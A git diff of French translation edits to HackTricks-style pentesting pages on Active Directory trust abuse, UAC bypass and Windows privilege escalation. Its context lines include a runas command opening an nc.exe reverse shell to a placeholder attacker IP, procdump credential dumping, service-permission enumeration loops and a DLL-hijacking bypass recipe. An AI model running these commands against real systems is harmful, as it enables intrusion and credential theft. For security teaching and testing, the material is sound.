+Comprendre comment le Contexte de Nommage de Configuration (NC) peut être exploité est crucial. Le NC de Configuration sert de référentiel central pour les données de configuration à travers une forêt dans les environnements Active Directory (AD). Ces données sont répliquées à chaque Contrôleur de Domaine (DC) au sein de la forêt, les DC écrits maintenant une copie écrivable du NC de Configuration. Pour exploiter cela, il faut avoir **des privilèges SYSTEM sur un DC**, de préférence un DC enfant.
 
 **Lier GPO au site DC racine**
 
@@ -604,7 +604,7 @@ Des lectures supplémentaires sont disponibles sur [Schema Change Trust Attacks]
 
 **De DA à EA avec ADCS ESC5**
 
-La vulnérabilité ADCS ESC5 cible le contrôle des objets d'infrastructure à clé publique (PKI) pour créer un modèle de certificat qui permet l'authentification en tant que n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le NC de Configuration, compromettre un DC enfant écrivable permet l'exécution d'attaques ESC5.
+La vulnérabilité ADCS ESC5 cible le contrôle des objets d'Infrastructure à Clé Publique (PKI) pour créer un modèle de certificat qui permet l'authentification en tant que n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le NC de Configuration, compromettre un DC enfant écrivable permet l'exécution d'attaques ESC5.
 
 Plus de détails à ce sujet peuvent être lus dans [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Dans les scénarios sans ADCS, l'attaquant a la capacité de mettre en place les composants nécessaires, comme discuté dans [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
 
@@ -639,15 +639,15 @@ WhenChanged     : 2/19/2021 10:15:24 PM
 ```
 Dans ce scénario, **votre domaine** **fait confiance** à certains **privilèges** d'un principal provenant de **domaines différents**.
 
-Cependant, lorsqu'un **domaine est de confiance** par le domaine de confiance, le domaine de confiance **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe de confiance**. Ce qui signifie qu'il est possible d'**accéder à un utilisateur du domaine de confiance pour entrer dans le domaine de confiance** afin de l'énumérer et d'essayer d'escalader plus de privilèges :
+Cependant, lorsqu'un **domaine est approuvé** par le domaine de confiance, le domaine approuvé **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe approuvé**. Ce qui signifie qu'il est possible d'**accéder à un utilisateur du domaine de confiance pour entrer dans le domaine approuvé** afin de l'énumérer et d'essayer d'escalader davantage de privilèges :
 
 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}
 
-Une autre façon de compromettre le domaine de confiance est de trouver un [**lien SQL de confiance**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la confiance de domaine (ce qui n'est pas très courant).
+Une autre façon de compromettre le domaine approuvé est de trouver un [**lien SQL de confiance**](abusing-ad-mssql.md#mssql-trusted-links) créé dans la **direction opposée** de la confiance de domaine (ce qui n'est pas très courant).
 
-Une autre façon de compromettre le domaine de confiance est d'attendre sur une machine où un **utilisateur du domaine de confiance peut accéder** pour se connecter via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** à partir de là.\
+Une autre façon de compromettre le domaine approuvé est d'attendre sur une machine où un **utilisateur du domaine approuvé peut accéder** pour se connecter via **RDP**. Ensuite, l'attaquant pourrait injecter du code dans le processus de session RDP et **accéder au domaine d'origine de la victime** à partir de là.\
 De plus, si la **victime a monté son disque dur**, à partir du processus de session **RDP**, l'attaquant pourrait stocker des **backdoors** dans le **dossier de démarrage du disque dur**. Cette technique s'appelle **RDPInception.**
 
 {{#ref}}
@@ -663,7 +663,7 @@ rdp-sessions-abuse.md
 
 ### **Authentification Sélective :**
 
-- Pour les trusts inter-forêts, l'utilisation de l'authentification sélective garantit que les utilisateurs des deux forêts ne sont pas automatiquement authentifiés. Au lieu de cela, des autorisations explicites sont nécessaires pour que les utilisateurs accèdent aux domaines et serveurs au sein du domaine ou de la forêt de confiance.
+- Pour les trusts inter-forêts, l'utilisation de l'authentification sélective garantit que les utilisateurs des deux forêts ne sont pas automatiquement authentifiés. Au lieu de cela, des autorisations explicites sont requises pour que les utilisateurs accèdent aux domaines et serveurs au sein du domaine ou de la forêt de confiance.
 - Il est important de noter que ces mesures ne protègent pas contre l'exploitation du Contexte de Nommage de Configuration (NC) modifiable ou les attaques sur le compte de confiance.
 
 [**Plus d'informations sur les trusts de domaine dans ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@@ -680,13 +680,13 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
 
 ### **Mesures Défensives pour la Protection des Identifiants**
 
-- **Restrictions des Administrateurs de Domaine** : Il est recommandé que les Administrateurs de Domaine ne soient autorisés à se connecter qu'aux Contrôleurs de Domaine, évitant leur utilisation sur d'autres hôtes.
+- **Restrictions pour les Administrateurs de Domaine** : Il est recommandé que les Administrateurs de Domaine ne soient autorisés à se connecter qu'aux Contrôleurs de Domaine, évitant leur utilisation sur d'autres hôtes.
 - **Privilèges des Comptes de Service** : Les services ne doivent pas être exécutés avec des privilèges d'Administrateur de Domaine (AD) pour maintenir la sécurité.
 - **Limitation Temporelle des Privilèges** : Pour les tâches nécessitant des privilèges d'AD, leur durée doit être limitée. Cela peut être réalisé par : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
 
 ### **Mise en Œuvre de Techniques de Tromperie**
 
-- La mise en œuvre de la tromperie implique de poser des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes à privilèges élevés.
+- La mise en œuvre de la tromperie implique de mettre en place des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes à privilèges élevés.
 - Un exemple pratique implique l'utilisation d'outils comme : `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
 - Plus d'informations sur le déploiement de techniques de tromperie peuvent être trouvées sur [Deploy-Deception sur GitHub](https://github.com/samratashok/Deploy-Deception).
 

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -20,9 +20,9 @@ Cette [page](https://docs.microsoft.com/en-us/windows/security/identity-protecti
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
 | [Contrôle de Compte Utilisateur : Mode d'Approbation Admin pour le compte Administrateur intégré](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Désactivé                                                   |
 | [Contrôle de Compte Utilisateur : Autoriser les applications UIAccess à demander une élévation sans utiliser le bureau sécurisé](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Désactivé                                                   |
-| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Demander le consentement pour les binaires non-Windows     |
-| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les utilisateurs standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Demander des identifiants sur le bureau sécurisé            |
-| [Contrôle de Compte Utilisateur : Détecter les installations d'applications et demander une élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Activé (par défaut pour les foyers) Désactivé (par défaut pour les entreprises) |
+| [Contrôle de Compte Utilisateur : Comportement de la demande d'élévation pour les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Demander le consentement pour les binaires non-Windows     |
+| [Contrôle de Compte Utilisateur : Comportement de la demande d'élévation pour les utilisateurs standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Demander des identifiants sur le bureau sécurisé            |
+| [Contrôle de Compte Utilisateur : Détecter les installations d'applications et demander une élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Activé (par défaut pour les particuliers) Désactivé (par défaut pour les entreprises) |
 | [Contrôle de Compte Utilisateur : Élever uniquement les exécutables qui sont signés et validés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Désactivé                                                   |
 | [Contrôle de Compte Utilisateur : Élever uniquement les applications UIAccess qui sont installées dans des emplacements sécurisés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Activé                                                      |
 | [Contrôle de Compte Utilisateur : Exécuter tous les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Activé                                                      |
@@ -33,7 +33,7 @@ Cette [page](https://docs.microsoft.com/en-us/windows/security/identity-protecti
 
 Certains programmes sont **auto-élévés automatiquement** si l'**utilisateur appartient** au **groupe administrateur**. Ces binaires ont à l'intérieur de leurs _**Manifests**_ l'option _**autoElevate**_ avec la valeur _**True**_. Le binaire doit également être **signé par Microsoft**.
 
-Ensuite, pour **contourner** l'**UAC** (élever du **niveau** d'intégrité **moyen** **au niveau élevé**) certains attaquants utilisent ce type de binaires pour **exécuter du code arbitraire** car il sera exécuté à partir d'un **processus d'intégrité de niveau élevé**.
+Ensuite, pour **contourner** l'**UAC** (élever du **niveau** d'intégrité **moyen** **au niveau élevé**), certains attaquants utilisent ce type de binaires pour **exécuter du code arbitraire** car il sera exécuté à partir d'un **processus d'intégrité de niveau élevé**.
 
 Vous pouvez **vérifier** le _**Manifest**_ d'un binaire en utilisant l'outil _**sigcheck.exe**_ de Sysinternals. Et vous pouvez **voir** le **niveau d'intégrité** des processus en utilisant _Process Explorer_ ou _Process Monitor_ (de Sysinternals).
 
@@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-Si c'est **`1`**, alors UAC est **activé**. Si c'est **`0`** ou qu'il **n'existe pas**, alors UAC est **inactif**.
+Si c'est **`1`**, alors UAC est **activé**, si c'est **`0`** ou s'il **n'existe pas**, alors UAC est **inactif**.
 
 Ensuite, vérifiez **quel niveau** est configuré :
 ```
@@ -57,13 +57,13 @@ ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
 - Si **`0`**, alors, UAC ne demandera pas (comme **désactivé**)
 - Si **`1`**, l'administrateur est **demandé pour le nom d'utilisateur et le mot de passe** pour exécuter le binaire avec des droits élevés (sur le Bureau Sécurisé)
-- Si **`2`** (**Toujours me notifier**) UAC demandera toujours une confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau Sécurisé)
+- Si **`2`** (**Toujours me notifier**) UAC demandera toujours confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau Sécurisé)
 - Si **`3`**, comme `1` mais pas nécessaire sur le Bureau Sécurisé
 - Si **`4`**, comme `2` mais pas nécessaire sur le Bureau Sécurisé
-- si **`5`**(**par défaut**) il demandera à l'administrateur de confirmer l'exécution de binaires non Windows avec des privilèges élevés
+- si **`5`**(**par défaut**), il demandera à l'administrateur de confirmer l'exécution de binaires non Windows avec des privilèges élevés
 
 Ensuite, vous devez examiner la valeur de **`LocalAccountTokenFilterPolicy`**\
-Si la valeur est **`0`**, alors, seul l'utilisateur **RID 500** (**Administrateur intégré**) est capable d'effectuer des **tâches administratives sans UAC**, et si c'est `1`, **tous les comptes du groupe "Administrateurs"** peuvent le faire.
+Si la valeur est **`0`**, alors, seul l'utilisateur **RID 500** (**Administrateur intégré**) peut effectuer des **tâches administratives sans UAC**, et si c'est `1`, **tous les comptes dans le groupe "Administrateurs"** peuvent le faire.
 
 Et, enfin, examinez la valeur de la clé **`FilterAdministratorToken`**\
 Si **`0`**(par défaut), le **compte Administrateur intégré peut** effectuer des tâches d'administration à distance et si **`1`**, le compte Administrateur intégré **ne peut pas** effectuer des tâches d'administration à distance, à moins que `LocalAccountTokenFilterPolicy` soit défini sur `1`.
@@ -93,7 +93,7 @@ Il est important de mentionner qu'il est **beaucoup plus difficile de contourner
 
 ### UAC désactivé
 
-Si l'UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**), vous pouvez **exécuter un shell inversé avec des privilèges administratifs** (niveau d'intégrité élevé) en utilisant quelque chose comme :
+Si l'UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**), vous pouvez **exécuter un shell inversé avec des privilèges d'administrateur** (niveau d'intégrité élevé) en utilisant quelque chose comme :
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -139,7 +139,7 @@ Documentation et outil dans [https://github.com/wh0amitz/KRBUACBypass](https://g
 
 ### Exploits de contournement UAC
 
-[**UACME** ](https://github.com/hfiref0x/UACME) qui est une **compilation** de plusieurs exploits de contournement UAC. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous avez besoin.**\
+[**UACME** ](https://github.com/hfiref0x/UACME)qui est une **compilation** de plusieurs exploits de contournement UAC. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous avez besoin.**\
 Vous devez **être prudent** car certains contournements **demanderont d'autres programmes** qui **alerteront** l'**utilisateur** que quelque chose se passe.
 
 UACME a la **version de construction à partir de laquelle chaque technique a commencé à fonctionner**. Vous pouvez rechercher une technique affectant vos versions :
@@ -152,9 +152,9 @@ Major  Minor  Build  Revision
 ```
 Aussi, en utilisant [cette](https://en.wikipedia.org/wiki/Windows_10_version_history) page, vous obtenez la version de Windows `1607` à partir des versions de build.
 
-#### Plus de contournements UAC
+#### Plus de contournement UAC
 
-**Toutes** les techniques utilisées ici pour contourner l'AUC **nécessitent** un **shell interactif complet** avec la victime (un shell nc.exe commun n'est pas suffisant).
+**Toutes** les techniques utilisées ici pour contourner l'AUC **nécessitent** un **shell interactif complet** avec la victime (un shell nc.exe classique ne suffit pas).
 
 Vous pouvez obtenir cela en utilisant une session **meterpreter**. Migrez vers un **processus** qui a la valeur **Session** égale à **1** :
 
@@ -164,7 +164,7 @@ Vous pouvez obtenir cela en utilisant une session **meterpreter**. Migrez vers u
 
 ### Contournement UAC avec GUI
 
-Si vous avez accès à une **GUI, vous pouvez simplement accepter l'invite UAC** lorsque vous l'obtenez, vous n'avez vraiment pas besoin de contournement. Donc, obtenir l'accès à une GUI vous permettra de contourner l'UAC.
+Si vous avez accès à une **GUI, vous pouvez simplement accepter l'invite UAC** lorsque vous l'obtenez, vous n'avez vraiment pas besoin d'un contournement. Donc, obtenir l'accès à une GUI vous permettra de contourner l'UAC.
 
 De plus, si vous obtenez une session GUI que quelqu'un utilisait (potentiellement via RDP), il y a **certains outils qui s'exécuteront en tant qu'administrateur** à partir desquels vous pourriez **exécuter** un **cmd** par exemple **en tant qu'admin** directement sans être à nouveau invité par l'UAC comme [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Cela pourrait être un peu plus **discret**.
 
@@ -174,17 +174,17 @@ Si vous ne vous souciez pas d'être bruyant, vous pourriez toujours **exécuter
 
 ### Votre propre contournement - Méthodologie de contournement UAC de base
 
-Si vous jetez un œil à **UACME**, vous remarquerez que **la plupart des contournements UAC abusent d'une vulnérabilité de détournement de DLL** (principalement en écrivant la dll malveillante sur _C:\Windows\System32_). [Lisez ceci pour apprendre à trouver une vulnérabilité de détournement de DLL](../windows-local-privilege-escalation/dll-hijacking/).
+Si vous jetez un œil à **UACME**, vous remarquerez que **la plupart des contournements UAC abusent d'une vulnérabilité de détournement de DLL** (principalement en écrivant la DLL malveillante dans _C:\Windows\System32_). [Lisez ceci pour apprendre comment trouver une vulnérabilité de détournement de DLL](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
-1. Trouvez un binaire qui **s'auto-élève** (vérifiez que lorsqu'il est exécuté, il s'exécute à un niveau d'intégrité élevé).
-2. Avec procmon, trouvez des événements "**NAME NOT FOUND**" qui peuvent être vulnérables au **détournement de DLL**.
+1. Trouvez un binaire qui va **s'autoélever** (vérifiez que lorsqu'il est exécuté, il s'exécute à un niveau d'intégrité élevé).
+2. Avec procmon, trouvez des événements "**NOM NON TROUVÉ**" qui peuvent être vulnérables au **détournement de DLL**.
 3. Vous aurez probablement besoin de **écrire** la DLL à l'intérieur de certains **chemins protégés** (comme C:\Windows\System32) où vous n'avez pas de permissions d'écriture. Vous pouvez contourner cela en utilisant :
    1. **wusa.exe** : Windows 7, 8 et 8.1. Cela permet d'extraire le contenu d'un fichier CAB à l'intérieur de chemins protégés (car cet outil est exécuté à partir d'un niveau d'intégrité élevé).
    2. **IFileOperation** : Windows 10.
-4. Préparez un **script** pour copier votre DLL à l'intérieur du chemin protégé et exécuter le binaire vulnérable et auto-élévé.
+4. Préparez un **script** pour copier votre DLL à l'intérieur du chemin protégé et exécuter le binaire vulnérable et autoélevé.
 
 ### Une autre technique de contournement UAC
 
-Consiste à surveiller si un **binaire auto-élévé** essaie de **lire** dans le **registre** le **nom/chemin** d'un **binaire** ou **commande** à exécuter (c'est plus intéressant si le binaire recherche cette information à l'intérieur du **HKCU**).
+Consiste à surveiller si un **binaire autoélevé** essaie de **lire** dans le **registre** le **nom/chemin** d'un **binaire** ou **commande** à exécuter (c'est plus intéressant si le binaire recherche cette information dans le **HKCU**).
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -112,7 +112,7 @@ Stop-Transcript
 ```
 ### PowerShell Module Logging
 
-Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie pourraient ne pas être capturés.
+Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie peuvent ne pas être capturés.
 
 Pour activer cela, suivez les instructions dans la section "Fichiers de transcription" de la documentation, en choisissant **"Module Logging"** au lieu de **"Powershell Transcription"**.
 ```bash
@@ -186,7 +186,7 @@ Vous pouvez exploiter cette vulnérabilité en utilisant l'outil [**WSUSpicious*
 
 ## KrbRelayUp
 
-Une vulnérabilité de **montée de privilèges locale** existe dans les environnements **domaines** Windows sous des conditions spécifiques. Ces conditions incluent des environnements où **la signature LDAP n'est pas appliquée,** les utilisateurs possèdent des droits leur permettant de configurer la **Délégation Contraignante Basée sur les Ressources (RBCD),** et la capacité pour les utilisateurs de créer des ordinateurs au sein du domaine. Il est important de noter que ces **exigences** sont satisfaites en utilisant les **paramètres par défaut**.
+Une vulnérabilité de **montée de privilèges locale** existe dans les environnements **domaines** Windows sous des conditions spécifiques. Ces conditions incluent des environnements où **la signature LDAP n'est pas appliquée,** les utilisateurs possèdent des droits leur permettant de configurer **Resource-Based Constrained Delegation (RBCD),** et la capacité pour les utilisateurs de créer des ordinateurs au sein du domaine. Il est important de noter que ces **exigences** sont satisfaites en utilisant les **paramètres par défaut**.
 
 Trouvez l'**exploit dans** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
 
@@ -194,7 +194,7 @@ Pour plus d'informations sur le déroulement de l'attaque, consultez [https://re
 
 ## AlwaysInstallElevated
 
-**Si** ces 2 registres sont **activés** (valeur est **0x1**), alors les utilisateurs de tout privilège peuvent **installer** (exécuter) des fichiers `*.msi` en tant que NT AUTHORITY\\**SYSTEM**.
+**Si** ces 2 registres sont **activés** (valeur est **0x1**), alors les utilisateurs de n'importe quel privilège peuvent **installer** (exécuter) des fichiers `*.msi` en tant que NT AUTHORITY\\**SYSTEM**.
 ```bash
 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@@ -356,10 +356,10 @@ powershell -command "Get-Clipboard"
 ```
 ## Exécution des processus
 
-### Permissions des fichiers et des dossiers
+### Permissions des fichiers et dossiers
 
 Tout d'abord, lister les processus **vérifie les mots de passe à l'intérieur de la ligne de commande du processus**.\
-Vérifiez si vous pouvez **écraser un binaire en cours d'exécution** ou si vous avez des permissions d'écriture dans le dossier binaire pour exploiter d'éventuelles [**attaques de détournement de DLL**](dll-hijacking/):
+Vérifiez si vous pouvez **écraser un binaire en cours d'exécution** ou si vous avez des permissions d'écriture dans le dossier binaire pour exploiter d'éventuelles [**attaques de détournement de DLL**](dll-hijacking/index.html):
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -381,7 +381,7 @@ icacls "%%z"
 )
 )
 ```
-**Vérification des permissions des dossiers des binaires des processus (**[**DLL Hijacking**](dll-hijacking/)**)**
+**Vérification des permissions des dossiers des binaires des processus (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -391,7 +391,7 @@ todos %username%" && echo.
 ```
 ### Extraction de mots de passe en mémoire
 
-Vous pouvez créer un dump de mémoire d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **identifiants en texte clair dans la mémoire**, essayez de dumper la mémoire et de lire les identifiants.
+Vous pouvez créer un dump mémoire d'un processus en cours d'exécution en utilisant **procdump** de sysinternals. Des services comme FTP ont les **identifiants en texte clair en mémoire**, essayez de dumper la mémoire et de lire les identifiants.
 ```bash
 procdump.exe -accepteula -ma <proc_name_tasklist>
 ```
@@ -431,10 +431,10 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 
 ### Activer le service
 
-Si vous avez cette erreur (par exemple avec SSDPSRV) :
+Si vous rencontrez cette erreur (par exemple avec SSDPSRV) :
 
 _Une erreur système 1058 s'est produite._\
-&#xNAN;_&#x54;le service ne peut pas être démarré, soit parce qu'il est désactivé, soit parce qu'il n'a pas de périphériques activés qui lui sont associés._
+&#xNAN;_&#x54;Le service ne peut pas être démarré, soit parce qu'il est désactivé, soit parce qu'il n'a pas de périphériques activés qui lui sont associés._
 
 Vous pouvez l'activer en utilisant
 ```bash
@@ -474,8 +474,8 @@ Pour la détection et l'exploitation de cette vulnérabilité, l' _exploit/windo
 
 ### Permissions faibles des binaires de services
 
-**Vérifiez si vous pouvez modifier le binaire exécuté par un service** ou si vous avez **des permissions d'écriture sur le dossier** où le binaire est situé ([**DLL Hijacking**](dll-hijacking/))**.**\
-Vous pouvez obtenir chaque binaire exécuté par un service en utilisant **wmic** (pas dans system32) et vérifier vos permissions en utilisant **icacls** :
+**Vérifiez si vous pouvez modifier le binaire qui est exécuté par un service** ou si vous avez **des permissions d'écriture sur le dossier** où le binaire est situé ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
+Vous pouvez obtenir chaque binaire qui est exécuté par un service en utilisant **wmic** (pas dans system32) et vérifier vos permissions en utilisant **icacls** :
 ```bash
 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
 
@@ -555,7 +555,7 @@ Windows permet aux utilisateurs de spécifier des actions à entreprendre si un
 
 ### Applications installées
 
-Vérifiez **les permissions des binaires** (peut-être pouvez-vous en écraser un et élever les privilèges) et des **dossiers** ([DLL Hijacking](dll-hijacking/)).
+Vérifiez **les permissions des binaires** (peut-être pouvez-vous en écraser un et élever les privilèges) et des **dossiers** ([DLL Hijacking](dll-hijacking/index.html)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -632,7 +632,7 @@ net view \\computer /ALL #List shares of a computer
 net use x: \\computer\share #Mount the share locally
 net share #Check current shares
 ```
-### hosts file
+### fichier hosts
 
 Vérifiez d'autres ordinateurs connus codés en dur dans le fichier hosts.
 ```
@@ -644,9 +644,9 @@ ipconfig /all
 Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
 Get-DnsClientServerAddress -AddressFamily IPv4 | ft
 ```
-### Ports ouverts
+### Open Ports
 
-Vérifiez les **services restreints** de l'extérieur
+Vérifiez les **services restreints** depuis l'extérieur
 ```bash
 netstat -ano #Opened ports?
 ```
@@ -662,7 +662,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
 ```
 ### Règles de Pare-feu
 
-[**Vérifiez cette page pour les commandes liées au Pare-feu**](../basic-cmd-for-pentesters.md#firewall) **(lister les règles, créer des règles, désactiver, désactiver...)**
+[**Consultez cette page pour les commandes liées au Pare-feu**](../basic-cmd-for-pentesters.md#firewall) **(lister les règles, créer des règles, désactiver, désactiver...)**
 
 Plus[ de commandes pour l'énumération réseau ici](../basic-cmd-for-pentesters.md#network)
 
@@ -701,7 +701,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 ### Gestionnaire d'identifiants / Coffre Windows
 
 From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
-Le Coffre Windows stocke les identifiants des utilisateurs pour les serveurs, les sites web et d'autres programmes que **Windows** peut **connecter les utilisateurs automatiquement**. À première vue, cela peut sembler que les utilisateurs peuvent maintenant stocker leurs identifiants Facebook, Twitter, Gmail, etc., afin qu'ils se connectent automatiquement via les navigateurs. Mais ce n'est pas le cas.
+Le Coffre Windows stocke les identifiants des utilisateurs pour les serveurs, les sites web et d'autres programmes que **Windows** peut **connecter les utilisateurs automatiquement**. À première vue, cela peut sembler que les utilisateurs peuvent maintenant stocker leurs identifiants Facebook, identifiants Twitter, identifiants Gmail, etc., afin qu'ils se connectent automatiquement via les navigateurs. Mais ce n'est pas le cas.
 
 Le Coffre Windows stocke des identifiants que Windows peut utiliser pour connecter les utilisateurs automatiquement, ce qui signifie que toute **application Windows qui a besoin d'identifiants pour accéder à une ressource** (serveur ou site web) **peut utiliser ce Gestionnaire d'identifiants** & Coffre Windows et utiliser les identifiants fournis au lieu que les utilisateurs saisissent le nom d'utilisateur et le mot de passe tout le temps.
 
@@ -723,13 +723,13 @@ Utiliser `runas` avec un ensemble de credentials fournis.
 ```bash
 C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 ```
-Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou depuis le [module Empire Powershells](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
+Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou depuis [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
 
 ### DPAPI
 
 L'**API de protection des données (DPAPI)** fournit une méthode pour le chiffrement symétrique des données, principalement utilisée au sein du système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système pour contribuer de manière significative à l'entropie.
 
-**DPAPI permet le chiffrement des clés à l'aide d'une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement système, il utilise les secrets d'authentification de domaine du système.
